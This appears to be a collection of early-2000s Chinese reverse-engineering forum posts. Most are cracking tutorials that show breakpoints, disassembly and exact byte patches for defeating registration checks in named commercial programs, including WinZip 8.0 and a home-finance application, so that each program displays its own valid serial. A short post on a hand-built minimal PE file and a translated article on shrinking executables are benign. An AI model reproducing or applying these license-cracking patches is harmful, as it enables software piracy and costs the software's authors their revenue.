0167:004FC03B C6831C08000000 MOV BYTE [EBX+081C], 00

所以只要将补丁程序改为如下：

0167:0059F720 C7051884540003222F4B MOV D, [00544518], 4B2F2203
0167:0059F72A MOV B, [004FC041], 1 ***
0167:0059F72A 6858205400 PUSH 00542058
0167:0059F3CA C3 RET
//这是用HIEW修改的
(这一修改显得底气不足，毫无完美破解的美感)
/////////////////////////////////////////////////////////////////////
//
// 第四部分：后记
//
/////////////////////////////////////////////////////////////////////
现在，这个修改版本看起来就和正版注册用户一样了。但是，这个结论并不完
美，究竟作者在程序启动时多做了哪些校验? 我还不得而知...希望有兴趣的
自己进行研究。我也没有对注册码的形成算法作进一步的分析...如果读者对算
法有浓厚的兴趣，并有所收获，请不忘告诉我。热情期待有进一步的文章...

曾在“看雪”的论坛上看到“炎之川”的回帖：只改动3个字节。不知是如何做
到的? 有知道的请告诉我

谨将此文送给Turkey99，没有他的热情回复，就没有这篇拙文...:-)


MFC程序的改造心得

 标 题:另类注册机(一MFC程序的改造心得） (3千字)
发信人:herofire
时 间:2001-9-10 22:46:13
详细信息:
另类注册机
本文主要说明注册机编写的另一种方式，实现将一个MFC程序授权程序改造成一个标准的注册机，这样我们就可以绕过不必分析繁杂的加密过程了。
参考资料：《看雪学院精华三》中关于MFC程序分析文章；
目标简介：一个MFC做的授权程序，注册码保护，界面有一个序列号窗口（只读属性），一注册码输入窗口，一个注册按钮。
经过反编译分析得到程序大致流程：
1） 程序启动时读取网卡信息后运算后显示于只读窗口中；
2） 取得用户输入的注册码；
3） 判断输入的注册码是否合要求；
4） 读取本机网卡信息并进行运算，返回运算后的结果；
5） 将运算后的网卡信息与输入的注册码一起进行运算比较，产生正确注册码，判断后返回判断结果；
6） 正确则将注册码写入注册表中，错误则提示;
7） 程序中各种功能都是独立的过程调用。
根据以上的分析我们就有了大致改造思路以达到我们的目的，具体思路如下：
1. ）使程序能接受我们的输入；
2. ）替换步骤4）中得到的网卡信息运算后的返回结果换成我们的输入；
3. ）将步骤5）后得到的注册码通过一个对话框显示出来。
根据我们思路经过具体分析总结出下面几个待解决问题：
1：如何使程序能接受我们的输入？
我的如法为用eXeScope将只读窗口的属性修改为可写，用于我们输入信息；
2：如何得到我们的信息替代运算后的信息？
一般的做法就是在程序中加入自己的代码，在步骤4）中返回运算后的信息时转到我们代码中，在我们的代码中实现输入信息的获取，并替换原来的运算结果，最终实现返回我们输入的信息到步骤5）。
这里需要解决两个问题：如何加入我们的代码、如何获得输入的信息。
问题一用SMC方法就可以很好解决，具体做法参见《看雪的精华三》中SMC部分。
在解决问题二时我遇到一些问题：原来我打算用GETWINDOWTEXT函数获取我们输入信息的窗口的字符串，但似乎用MFC写成的程序在创建窗口时是动态分配窗口句柄，即每次运行时输入窗口的句柄是不固定的，这就造成没法使用GETWINDOWTEXT来取得我们想要的信息，可能是我对MFC程序的不了解，有那位高人知道就指点一二。
现在似乎山穷水尽了，再用IDA分析一下程序，发现程序中在在步骤5）有一个地方是调用了UpdateData（BOOL）函数，如下所示：
004024FF push esi
00402500 push 1
00402502 call j_?UpdateData@CWnd@@QAEHH@Z ; CWnd::UpdateData(int)
00402507 mov edx, [esi+64h]
这个有什么用呢？用MFC写过程序的人都知道，MFC封装了窗口中的消息传递，在增加一个窗口后可以增加一个成员对应窗口的文字，而UpdateData（BOOL）就是用来完成将窗口的信息更新到成员的功能，它的参数就是更新的方向，为1时就是将窗口中的信息，也就是我们输入的注册码更新到它自定义的成员中，那00402507的语句应该就是将得到的注册码写入成员变量中，那我们输入的信息应该也是从这里可得到。
根据上面的猜测我们做一下试验：修改了只读窗口的属性，使它可写。用ICEL载入程序，将中断下于00402502处，等待程序出现主窗口后修改原只读窗口中的信息以及按正确格式输入错误的注册码，点击注册按钮，程序中断在我们00402502，再用F10执行一步，到达00402507 ，我们查看ESI+64 处的内存，果然看到了我们输入的注册码以及我们在原只读窗口中修改后的信息，那么我们就找到办法解决问题2）了。如此我们要插入的代码基本流程就可以形成了，如下：
1）．保存步骤4）返回前的状态；
2）．调用UpdateData功能，取得我们需要的信息
3）．将得到的信息换步骤4）中运算后的结果
4）．正常返回步骤4）
3 如何显示正确的注册码？
我采用的方法是将步骤5）中运算后的正确注册码的内存地址替换步骤6）中出错提示时的字符串调用的地址。这样程序就可以自己显示正确的注册码了。
经过上面3 步后我们就已经能实现的我们的目标了。
最后整理一下，我们改动后的程序流程：
1） 屏蔽程序启动时读取网卡信息后运算后显示于只读窗口中的过程，因为它要用到步骤4）的调用；
2） 取得我们输入的信息和符合要求的错误注册码；
3） 判断输入的注册码是否合要求；
4） 读取本机网卡信息并进行运算，返回前转到我们插入的代码中，将取得的窗口信息替换经过运算后的返回值后返回原来4）中下一条指令处；
5） 将我们的信息与输入的注册码一起进行运算比较，产生正确注册码，判断后返回判断结果；
6） 将5）中得到的正确注册码地址替换原错误提示的字符串地址，弹出正确注册码。
经过如上改造我们就可以将一个原来程序改造成一个注册机，但在实际测试中发现在同一种操作系统中程序才能正确运行。


财智家庭理财2001加强版（v3.2）

 标 题:让他变成自己的注册机！财智家庭理财2001加强版（v3.2）的破解 (7千字)
发信人:hsf0214
时 间:2001-11-5 11:42:56
详细信息:
财智家庭理财2001加强版（v3.2）,个人理财的好软件。。。
又见到老朋友了，（想当初，我第一次下手就是对付它）这次出的是加强版，功能加强了否，我不清楚，只是注册码判断还是用的老方法，一点也没加强，:-)
这个软件没有难度，Easy类的！用wdsm也很容易静态分析它。（可是想当初，我可是用了整整两天的时间去破它的，那时真的不太懂，根本没入门，全凭毅力，当然还有兴趣和想“合法”用这个软件的欲望，才硬啃掉它的，＃＃%%＠＃！多少事，都付笑谈中。。。）
下面是简单的过程：
输入注册码后，Ctrl+N调出trw2000,下断点
bpx hmemcpy
再F5回到程序，点注册按钮，程序被中断
bd
pmodule
F12按7次
F10若干次。很容易看到下面的代码，再下面是跟进51e6df处那个call里的代码
==================================================================================
016F:0051E6DC MOV EAX,[EBP-04]
016F:0051E6DF CALL 0051DF34　....>>>>关键的Call
016F:0051E6E4 TEST AL,AL ....>>>>判断标志
016F:0051E6E6 JZ 0051E737　....>>>>跳则OVER!
016F:0051E6E8 MOV EAX,[0064FF98]
016F:0051E6ED MOV EAX,[EAX]
016F:0051E6EF MOV EDX,[EBP-04]　....>>>>这里把你输入的注册码
016F:0051E6F2 CALL 004BDDD0　　　....>>>>存入注册表里
====================================================================================
016F:0051DF6A 8B45F8 MOV EAX,[EBP-08] ....>>>> d eax,可以看到正确的注册码
016F:0051DF6D E8FAFCFFFF CALL 0051DC6C
016F:0051DF72 8BD8 MOV EBX,EAX　　　.....>>>>计算后得到一个值，存在ebx中
016F:0051DF74 8B45FC MOV EAX,[EBP-04]　....>>>> d eax,可以看到你输入的错误的注册码
016F:0051DF77 E8F0FCFFFF CALL 0051DC6C
016F:0051DF7C 85C0 TEST EAX,EAX　　....>>>>错误的注册码得到eax=0，不跳
016F:0051DF7E 7504 JNZ 0051DF84
016F:0051DF80 33DB XOR EBX,EBX　　...>>>>ebx清零，玩完
016F:0051DF82 EB0A JMP SHORT 0051DF8E
016F:0051DF84 3BC3 CMP EAX,EBX　　　....>>>>两次计算结果相同吗？
016F:0051DF86 7504 JNZ 0051DF8C　　....>>>>不同，说明注册码错误，跳到玩完
016F:0051DF88 B301 MOV BL,01　　　　...>>>>哦，是正确的注册码呀
016F:0051DF8A EB02 JMP SHORT 0051DF8E　....>>>>跳到后面，避开ebx清零的这一句
016F:0051DF8C 33DB XOR EBX,EBX
016F:0051DF8E 33C0 XOR EAX,EAX　　....>>>>公共的结束部分
016F:0051DF90 5A POP EDX
016F:0051DF91 59 POP ECX
016F:0051DF92 59 POP ECX
016F:0051DF93 648910 MOV [FS:EAX],EDX
016F:0051DF96 68B0DF5100 PUSH DWORD 0051DFB0
016F:0051DF9B 8D45F4 LEA EAX,[EBP-0C]
016F:0051DF9E BA03000000 MOV EDX,03
016F:0051DFA3 E83860EEFF CALL 00403FE0
016F:0051DFA8 C3 RET
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
改就很好改了，把51df74那行改成mov eax,[ebp-08]就得了。用程序自己算出的注册码放进去计算，这两次计算结果一定相同的，呵呵呵。。。
    这不是我今天想要重点说明的。这样改跟暴破没什么两样，9个月前我就是这样了，难道现在还这样？他不改变注册判断的方法，难道我也跟他一样，不改破它的方法？？？
    现在让我完成我以前没实现的愿望，让他（程序自己）变成自己的注册机吧！
    其实从DF6A到DF8C这一段空间，都是程序自己想要做而我们不一定想要他做的事，把这一段空间里的代码改了，改成我们希望他做的事，不就得了？？？
    从失败讲起，希望大家有耐心看下去。
    我们想到上面的改法，是用程序自己算出的注册码放进去计算来欺骗这个判断功能块，可“注册成功”后程序会在注册表里写入你的注册信息，这里放入的是你输入的错误注册码！！！有什么办法能让他放入正确的注册码吗？一是修改指针，让他去找注册码的时候找到的不是我们输入的错误注册码，而是程序自己算出的注册码。二是修改字符串，把正确的注册码存入错误注册码在内存中的存储空间里。
    第一种简单一些。可是分析后知道是不成功的。失败！！！
    原因如下：
    在DF6A前一句中正确注册码的存放地址的指针才出来，到DFA3这个Call后又被冲掉了，也就是说，等你判断完成后就找不到指向正确注册码的存放地址的指针了！
    如果我们把51E6EF处的指针（也就是ebp-08里的内容）在前一个CALL里面就改成指向正确注册码的存放地址的指针行不行呢？也不行。为什么不行？实践嘛。改了会出错的。另外，要注意，在CALL里面的EBP值和在外面的不一样，改的时候要计算清楚。到底改的是哪的。改的时候多看看EBP前16个字节以后的内容是怎么变化的。
    那就考虑第二种方法吧。经实践，改成了以下的内容：
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
016F:0051DF6A 8B45F8 MOV EAX,[EBP-08]
016F:0051DF6D E8FAFCFFFF CALL 0051DC6C
016F:0051DF72 8BD8 MOV EBX,EAX　　　　　　....>>>>前三行不想去动它，为什么？尽量保持程序在这个CALL的返回时的各个值，所以让他得到ebx的值。
016F:0051DF74 8B55FC MOV EDX,[EBP-04]　....>>>>把你要写入的地址找到
016F:0051DF77 85D2 TEST EDX,EDX　　....>>>>如果是0就别写，硬要往里写会出错的
016F:0051DF79 7411 JZ 0051DF8C　....>>>>不写就跳走
016F:0051DF7B 8B45F8 MOV EAX,[EBP-08] ....>>>>把存放正确的注册码的地址找到
016F:0051DF7E 8A0401 MOV AL,[ECX+EAX] ....>>>>把第'ecx＋1'个字符取出，放入AL中
016F:0051DF81 880411 MOV [ECX+EDX],AL　....>>>>再把它存进要写入的地址中
016F:0051DF84 41 INC ECX　　　....>>>>ecx加1，为什么前面不加初始化ecx的指令呢？因为经过51DF6D处的CALL后，ECX的值就已经是0了，不用自己去初始化，这就是不动前三行的好处了。。。
016F:0051DF85 80F90A CMP CL,0A　　....>>>>9个字符＋1个“字符串结束标志”（也就是00，TC里的'\0'了），共10位，所以。。。
016F:0051DF88 75F1 JNZ 0051DF7B ....>>>>没传完？继续
016F:0051DF8A EB02 JMP SHORT 0051DF8E　....>>>>跳到公共的结束部分
016F:0051DF8C 31DB XOR EBX,EBX　　....>>>>出错时的处理，也就是ebx清清零而已
016F:0051DF8E 33C0 XOR EAX,EAX　　....>>>>这就是公共的结束部分
016F:0051DF90 5A POP EDX
016F:0051DF91 59 POP ECX　　　　....>>>> ********
016F:0051DF92 59 POP ECX
016F:0051DF93 648910 MOV [FS:EAX],EDX
016F:0051DF96 68B0DF5100 PUSH DWORD 0051DFB0
016F:0051DF9B 8D45F4 LEA EAX,[EBP-0C]
016F:0051DF9E BA03000000 MOV EDX,03
016F:0051DFA3 E83860EEFF CALL 00403FE0
016F:0051DFA8 C3 RET
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
细心一点的朋友会发现，ECX在累加后并我并没有恢复他的初值，原因：1。我没地方能放下xor ecx,ecx或mov cl,0这样的语句了；2。注意到上面的标着********的那行吗？程序会从堆栈中取出ECX的值，而你在累加后的ECX的值会被冲掉。不需要你去恢复他的初值。
再细心一点的朋友会发现，我修改的比原来的程序少了一条mov bl,01这条语句。但根据我观察，没这条语句也没什么大不了，只是程序的这个CALL的返回时的EBX的值比原来的程序中的小1而已。好像没什么关系。其实我也是没地方放这条语句了。就差两个字节！如果上天再给我一次机会的话，我会说，我想要。如果非要给我的要的字节数加上一个限制的话，我希望是：Only TWO!
    如果还可以放两个字节的话，就在51DF8A处放入mov bl,01，后面的顺沿两个字节。这样就可以和原来的程序的这个CALL的返回时的各个值一模一样了。。。不过没关系，修改后的程序只是在第一次注册完后退出的时候有机会发生点小错误。不一定会发生哦。在某种特定的条件下可能会发生，比如输入的注册码长度不够时就有可能会出错。但仅限第一次，以后就再不出错了。。。我也不知道为什么，但重申一次：只在第一次时，在特定条件下有可能出错！以后就绝不出错了！！所以。。。不要紧，呵呵呵。。。
    在你随便注册成功后，程序会把正确的注册码存入注册表里。其实这时候，你就可以用原来的程序而不用修改后的程序了，如果你怕修改后的程序有什么不清楚的后遗症的话。。。其实我觉得是没有后遗症的。但你可以只把修改后的程序当个注册机用！呵呵呵，本来我就是想让他变成自己的注册机，不过光是作为注册机的话，有点太大了的感觉，3M呀！妈妈咪。。。
    好了，大功告成，打个Kiss!
hsf0214于2001-11-05　AM11:21:10


WinZip(R) Version 8.0 (3105)

 标 题:winzip的通用注册机 (2千字)
发信人:cdlover
时 间:2001-12-10 12:47:22
详细信息:
WinZip(R) Version 8.0 (3105)的破解

在Winzip中，可以很容易解出注册码，这里有一个偷懒的方法来“写”注册机，其实是利用Winzip
程序本身，让它自己把正确的注册码显示出来，我把程序改后，出现了一些小问题，但并不影响它计算和
显示注册码，因此就可以把它做为注册机来用也可以。
在修忙改程序之前，做一个备份，修改后的程序只用来做为注册机，平时用还是用没有修改过的原
程序为好。

:00407AA3 8D85C0FEFFFF lea eax, dword ptr [ebp+FFFFFEC0] <------放注册码的地方
此时EAX=0078F2E8，注册码在0078F2E8处

:00407AA9 56 push esi
:00407AAA 50 push eax
:00407AAB E820180600 call 004692D0 <-----比较注册码的地方
:00407AB0 83C410 add esp, 00000010
:00407AB3 F7D8 neg eax

改后，运行,但它显示空白，再通过跟踪发现在
:00467C4F 7406 je 00467C57
:00467C51 F3 repz <------
:00467C52 AB stosd <------ 处，把0078F2E8这里清空了
:00467C53 85D2 test edx, edx
:00467C55 7406 je 00467C5D

故想到不让它清空,把repz stosd改为 nop nop即可把注册码保留在0078F2E8处。

:004300AB 6837010000 push 00000137
:004300B0 E838F50000 call 0043F5ED
:004300B5 59 pop ecx
:004300B6 50 push eax
:004300B7 8D857CFCFFFF lea eax, dword ptr [ebp+FFFFFC7C] <-----要显示的内容在此处
:004300BD 50 push eax
:004300BE FF750C push [ebp+0C]
:004300C1 FF7508 push [ebp+08]
:004300C4 E805000000 call 004300CE <--------显示错误消息框，

所以把：
:004300B7 8D857CFCFFFF lea eax, dword ptr [ebp+FFFFFC7C]
改为：mov eax,0078F2E8
nop
即可显示注册码了。

运行程序，出来的nag窗会有花屏的现象，不要管它，按输入注册码的按钮，进行注册，输入一个用户名，
注册码随便一个，按确定，就会出来正确的注册码了。

到此为至，一个Winzip的注册机就“写”好了，也不用知道它的算法！


手工构造pe

 标 题:可能是最小的 pe 程序 -- 我手工构造了一个 pe 程序, 只 305 个字节, 可正确执行（Win9x). .. (5千字)
发信人:王涛1234
时 间:2002-3-2 20:06:17
详细信息:
标题: 可能是最小的 pe 程序 -- 我手工构造了一个 pe 程序, 只 305 个字节, 可正确执行（Win9x).

内容:

世界最小的 pe 程序

我手工构造了一个 pe 程序, 只 305 个字节,可以在我的中文 windows
98 第一版下正确运行. 是不是够得上陆麟大侠所说的"世界最小的 pe 程序",我
也不能确定. 传上来, 大家看着玩玩吧. 用手工构造,没用任何编译软件.可能对大
家理解 pe 文件格式有用. 要知道, pe 程序格式可是 "瘟都死" 操作系统的主要
程序文件格式呀.
如果有哪位高人能给我减少几个字节,我将向他学习.
以下就是软件的全部字节: 共 305 个字节. 用 ultraedit 等十六进制
编辑软件新建一个十六进制文件,全填 00 ,大小 305 个字节,再按照以下内容修
改好,存盘,改名为 minipe.exe 即可. 每行的 ":" 号及前面的数字是十六进制
地址,每行的后面是文本显示,不是软件内容,不应写入软件,我想大家应该明白.
如果此贴较乱,把您的查看器的字体设小一点就行了.

以下是软件全部内容:

00000000: 4D 5A 50 00-02 00 00 00-04 00 0F 00-50 45 00 00 MZP PE
00000010: 4C 01 01 00-00 00 00 00-00 00 00 00-00 00 00 00 L
00000020: E0 00 8E 81-0B 01 00 00-C0 50 00 00-00 00 00 00 ?巵 繮
00000030: 00 00 00 00-30 11 00 00-00 10 00 00-0C 00 00 00 0
00000040: 00 00 40 00-00 10 00 00-30 01 00 00-01 00 00 00 @ 0
00000050: 00 00 00 00-04 00 00 00-00 00 00 00-00 60 00 00 `
00000060: 30 01 00 00-3D CE 00 00-02 00 00 00-00 00 01 00 0 =?
00000070: 00 20 00 00-00 00 01 00-00 10 00 00-00 00 00 00
00000080: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00
00000090: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00
000000A0: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00
000000B0: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00
000000C0: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00
000000D0: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00
000000E0: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00
000000F0: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00
00000100: 00 00 00 00-43 4F 44 45-00 00 00 00-00 50 00 00 CODE P
00000110: 00 10 00 00-01 00 00 00-30 01 00 00-00 00 00 00 0
00000120: 00 00 00 00-00 00 00 00-20 00 00 E0-00 00 00 00 ?
00000130: C3

以下是软件内部各个项目的详细信息,供大家研究时参考:

minipe.exe (hex) (dec)

.EXE size (bytes) 250 592
Minimum load size (bytes) 300 768
Overlay number 0 0
Initial CS:IP 0000:0000
Initial SS:SP 0000:014C 332
Minimum allocation (para) F 15
Maximum allocation (para) 4550 17744
Header size (para) 4 4
Relocation table offset 0 0
Relocation entries 0 0

Portable Executable starts at c
Signature 00004550 (PE)
Machine 014C (Intel 386)
Sections 0001
Time Date Stamp 00000000 Wed Dec 31 19:00:00 1969
Symbol Table 00000000
Number of Symbols 00000000
Optional header size 00E0
Characteristics 818E
Executable Image
Line numbers stripped
Local symbols stripped
Bytes of machine word are reversed
32 bit word machine
Bytes of machine word are reversed
Magic 010B
Linker Version 0.00
Size of Code 000050C0
Size of Initialized Data 00000000
Size of Uninitialized Data 00000000
Address of Entry Point 00001130
Base of Code 00001000
Base of Data 0000000C
Image Base 00400000
Section Alignment 00001000
File Alignment 00000130
Operating System Version 1.00
Image Version 0.00
Subsystem Version 4.00
reserved 00000000
Image Size 00006000
Header Size 00000130
Checksum 0000CE3D
Subsystem 0002 (Windows)
DLL Characteristics 0000
Size Of Stack Reserve 00010000
Size Of Stack Commit 00002000
Size Of Heap Reserve 00010000
Size Of Heap Commit 00001000
Loader Flags 00000000
Number of Directories 00000000

Directory Name VirtAddr VirtSize
-------------------------------------- -------- --------

Section Table
-------------
01 CODE Virtual Address 00001000
Virtual Size 00005000
Raw Data Offset 00000130
Raw Data Size 00000001
Relocation Offset 00000000
Relocation Count 0000
Line Number Offset 00000000
Line Number Count 0000
Characteristics E0000020
Code
Executable
Readable
Writeable

Disassembly

00401000 C3 ret


应用程序减肥

 标 题:转载：用我们的32位吸脂工具为你的应用程序减肥[翻译:松鼠、老狐狸] (22千字)
发信人:konit
时 间:2001-11-30 16:15:40
详细信息:
松鼠:http://squirrel.163.net/
老狐狸:http://kingfox.163.net/

用我们的32位吸脂工具为你的应用程序减肥

Matt Pietrek是《Windows
95系统编程奥秘》（1996，电子工业出版社，IDG）一书的作者。他在NuMega工作，EMAIL：71774.362@compuserve.com 。

你以为你已经做了一个很恰当、很紧凑的应用软件。你清楚程序中的每一行代码，而且自信没有多余的东西浪费空间、延缓速度。天啊，就像现在的即食食品，你的代码中可能隐藏了脂肪成份。也许你所写的代码不用负这个责任，而是你的编程工具和技巧为你的软件中添加多余的东西，并延缓运行速度。让我们复习一下可以用来为你的程序减肥的方法。我这里只谈到C和C++程序，但我所说的也部分的使用适用于其他编译语言，如Delphi等。

《为你肥硕的执行程序吸脂、减肥》（微软系统月刊，1993，7）是我早期的一篇文章，提出了许多EXE和DLL发胖的原因。那篇文章还提供了一个测试可执行文件并给出它们相对健康程度的程序：EXESIZE.EXE。那时主要是16位的WINDOWS程序。既然现在的系统是WINDOWS
NT 和WINDOWS 95，我已经收到很多请求，要求得到能为 WIN32的PE文件工作的新版本的EXESIZE。

因为32位的PE文件与16位的NET文件格式不同，我不能仅仅对EXESIZE作很小的改动就完事。现在我觉得有必要回头看看为什么提出上一篇文章。16位NE文件需要的一些单元在WIN32中没有应用，但16位与32位的可执行程序同样易于在同样的地方冗余，甚至，WIN32还增加了一些增大你EXE、DLL长度与装入时间的新方法。在这篇文章中，当我提到“可执行文件”，我的意思是所有的WIN32
PE文件，不管是EXE 文件，或DLL文件，或其他。

首先，让我们回顾我为16位程序提出的建议。当我在写这篇文章前我也这样做了，很高兴地想到相较16位WINDOWS的黑暗时代，WIN32的编程是多么的简单。另一点来说，一些陈年的问题依然存在，所以，我们用1993年的文章来看看现在的WIN32的编程世界。

在16位NE文件中正确设定对齐(Alignment)。每一段(segment)和资源都从文件的一个偏移开始。大的16位程序经常有大量的段。有几十个甚至上百个资源也很普遍。很多的废物就因为缺省连接队列长度为512字节而引进了。通过配置你的连接器(linker)（在Microsoft
linker中用"/ALIGN:XXX"）你可以设定一个更合理的值（典型的是16字节），很显著的缩小你的文件。

在WIN32的PE文件中，段的等价物是片段(section)。片段依然需要界定（通常是512字节）。主要的不同是庞大的PE程序一般也不会超过10片段。而且，一个PE文件中所有的资源都组合到单个片段中，因此，资源的队列不是个问题。

在16位NE文件中不要生成无用的代码。当你引进一个函数，编译器（或汇编器）就在函数的开头和结尾生成一些特别的代码。这些代码设置数据段选择器，为外部函数的代码选择适当的段。这里的问题是许多程序所用的编译开关是；为每个远程函数都生成这些特别的代码，而不是仅为外部函数。很高兴，在WIN32中外部函数不再需要这些特别的代码。
现在是10点钟了，你知不知道你的调试信息在哪儿？这是很重要的，带着调试信息在可执行文件里的程序表明这是个很蠢的程序员或编程小组。后面我还将提到这个问题。

实时模式(Real Mode)已经不再使用，你为什么还支持它呢？在MICROSOFT
WINDOWS的早期，程序的段可能要在内存中移动，这在保护模式不是一个问题，因为INTEL的CPU能够通过它逻辑-物理地址转换能力来向你屏蔽；在实时模式，CPU无法做到这点。为了在实时模式下运行时避免出错，程序中经常包括了一些代码来隐藏段已经移动的事实。
这些代码只有在实时模式下才用的着。很多程序在WINDOWS
3.0下启动时都指定只能运行在保护模式下，然而他们还包含有从来不用的“实时废物”。幸运的是，在PE文件中，这个问题已经不复存在。

将多个段打包。前面我提到NE文件经常有很多段。因为一些原因（我不会提到这些），让连接程序把尽可能多的段合并到单个段中回很有好处。在PE文件中，不再有段，但它们的替代品（片段）也可以用一些连接程序来合并。合并片段的好处不同于16位程序中合并段，后面再详细解说。

将你的重定位信息连接起来。16位NE程序文档允许多个重定位表在可执行程序中象单个重定位表那样存在，而不是存在一大堆分离的重定位表。这个技术叫做链(chainning)。一些连接程序利用了这点，但在我原来那篇文章写作时Borland的TLINK没有。后来，TLINK已经更新了。

32位PE文件的重定位表完全不同于NE文件。当你不能链PE风格的重定位表时，你就不仅仅缩小可执行文件的长度。后面再说吧。

明智地使用运行库(Runtime Library).
如果你是用C++之类的编译语言，你应该链接一些外部的常规库。这些常规库一般叫做运行库(RTL)。如果你选择静态链接这些常规库(而不是使用DLL文件)，你的代价是执行文件的长度。一般的，你可能为你所使用的每一个
增加了RTL的几个字节到几K字节的多余的代码和数据。有些简单的函数如strcpy 非常小，然而有些象printf 那样复杂的就会大得多。

在我原来那篇吸脂机的文章里，我要求人们使用通用的RTL函数的Windows版本，而不要链接静态版本。在Win32这一点同样适用。实际上，Win32的API包含了Windows
3.1中没有的C/C++类函数的一个扩展集，这使得减少你的可执行文件长度，用系统DLL里的代码来工作成为可能。

例如，当你要在代码中用sprintf时，你可以选用wsprintf代替。它能从你的程序中减少几千字节的RTL代码。同样，像strcpy那样的函数可以用lstrcpy代替，在程序中用malloc和free会增加几千字节代码和数据，应该考虑用HeapXXX(如HeapAlloc，HeapFree等)代替。可以参照我的关于这个问题的《在钩子下》(
Under the Hood)专栏。

用BSS段。在16位编译程序中，未初始化的数据(定义却没给初始值的变量)都放在称为BSS段的地方。(假设你们知道什么是BSS。)既然BSS段的数据不包含任何特别的初始值，16位链接程序一般把BSS段的数据连接入主数据段，这样不需要任何磁盘空间。16位连接程序可以设置段记录中磁盘空间的长度小于内存的长度。在Win32对未初始化的数据也可以同样运用，虽然是片断而不再是段。后面我还将说到这一点。

随便说一句，如果你还觉得糊涂，BSS的意思是块存储空间(block storage space)。

缩小你的常驻名表(按顺序输出)。在编16位Windows程序时，当你调用或输出DLL的函数时，连接程序一般按顺序查找函数。“按顺序”也就是“按数字顺序”的另一个说法。也就是说，每个所调用的函数用一个WORD值来识别。除了按数字顺序输出外还可以按名字输出，函数的实际名字出现在调用的可执行文件和被调用的文件中。显然，按顺序的工作效率比按函数名工作要好。函数名字一般比较长，所以它们要用比按顺序更多的空间和工序。

为了按名字输入(很少在16位Windows使用)，目标DLL必须按名字输出函数。输出的名字将是这两种表之一：常驻名表和非常驻名表。常驻名表的缺点是它占内存，而非常驻名表却不。不幸的是，很多16位连接程序在某些情况下缺省地把输出名字放到常驻名表里。
基于Win32的程序已经没有常驻名表和非常驻名表的概念，只有一个放置输出函数名的表。但输出函数名占据空间的问题依然存在。输出函数名和输入函数名都在内存中，除非你尽力地按顺序输出你的函数。你能够按顺序输入和输出你自己的可执行程序，但按顺序来输入系统DLL函数并不是一个好注意，因为交叉平台的函数顺序不一定相同。

回到现在。
16位、32位的比较就到这里。在回顾中，我重点提出了我的32位版本EXESIZE程序可以运用的领域。但在可以大踏步前进的地方我们为什么还要小心翼翼的踩水呢？有一个可以提高的地方是实时性能。记住这一点：我已经把我的新的吸脂工具的技巧分为两方面，空间、性能。

后面我将奉送一个32位的工具，让你看看如何缩小你的程序，并提高性能。但在品尝甜点之前，让我们先进餐。让我们考察一些空间和性能的要点，这样你能更好的理解吸脂工具的好处。

第一套技巧用来为你的程序节省空间，这通常是值得的。每一个规律总有例外，但我想你要找出这些技巧的例外可不容易。

在发行前关闭递增链接功能！
Visual C++中我很喜欢的一个特点就是递增链接(Incremental Linking)。减少链接程序的工作，能使Visual
C++在几秒中就完成链接。递增链接是调试时的缺省设置。

递增链接只重写从上次链接之后改动过的部分，因此获得这个令人眩目的性能。为了达到这个目的，Microsoft Link拷贝了一大堆INT
3指令到可执行文件的不同部分之间。因此当你在源代码加了几句后，多出来的代码就覆盖了INT 3所在的空间。文件的其他部分没有变动。

正如你想象的，递增链接的代价也很大，就是可执行文件的长度。一个使用递增链接的文件可以(平均的)用1/3的空间来存放INT
3。在大的执行文件中，这很可能给你增加几百KB甚至几M的INT 3！

怎样解决呢？在你编译发行版本时确认关掉递增链接功能。问题时，我已经见过很多不区分不同版本的程序员。他们把测试时的文件(也就是调试版本)发布出去了。我的32位吸脂工具可以在这些文件中挑出可执行部分和浪费的部分。如果你在一个可执行文件里看见了一堆INT
3，很可能这文件就是递增链接的。

如果所有的INT
3不够用，递增链接的文件还会有更多的浪费空间。在这种文件里，每个文件里的函数还多了一个JMP指令。当你调用递增链接文件里的函数时，CALL指令找到相应的JMP，方执行所需要的函数。这些JMP的好处是使链接程序可以在内存中任意移动函数而不用更新所有的使用这些函数的CALL指令。

总的说来，递增链接在开发时非常得心应手。只要你确认不要把递增链接的文件发行出去。一般，当你在工程里把调试开关转到发行版本时递增链接功能会自动关闭。如果你自己写MAKE文件的话，链接程序控制递增链接的方法是/INCREMENTAL:XX，XX可以是YES或NO。

去除调试信息
在程序里留下调试信息究竟会带给你多大的浪费空间，以及产生了什么样的调试信息，依不同编译器而定。让我们先从非Microsoft的编译器开始，因为他们比较容易描述。在非Microsoft的编译器中，调试信息一般都是可执行文件的一部份。在一个长度可观的工程里，调试信息可以达到长度的百分之五十，甚至更多。

Microsoft的编译器与调试信息的故事更为复杂。一般，生成调试信息的同时也用递增链接。如果使用了递增链接，Microsoft的链接器会把调试信息放在一个单独的以PDB为后缀名的文件里
(PDB的意思是程序数据库program database)
。这样做是为了递增链接时对可执行文件做最小的改动。PDB文件里是一些零碎的CodeView风格的信息。你还记得CodeView吧？

用PDB存储信息的可执行文件用一小块地方来存储相应PDB文件的名字。当使用递增链接和PDB文件时，可执行文件里因调试信息而浪费的空间是很小的，仅仅是PDB文件的全路径的长度。技术上，这一段会象CodeView信息那样列出来，但它确实只是CodeView信息的指针。

Microsoft调试信息常见的另一种类型是在可执行文件中实实在在的CodeView符号。你可以用/PDB:NONE来强迫链接器生成CodeView信息，但这样做就关闭了递增链接的功能。计算、读写CodeView符号与递增链接相冲突。如果你用CodeView调试信息，那么EXE文件的浪费空间也象前面我所说的非Microsoft编译器一样能达到50%。

用Microsoft编译器你还可以生成COFF风格的符号。COFF符号是早期Windows
NT制作队伍做它的编程工具时的格式，并流行了下来。链接器的开关可以是/DEBUGTYPE:COFF或/DEBUGTYPE:BOTH。COFF符号只有相对少的工具，而且大多数都在Win32
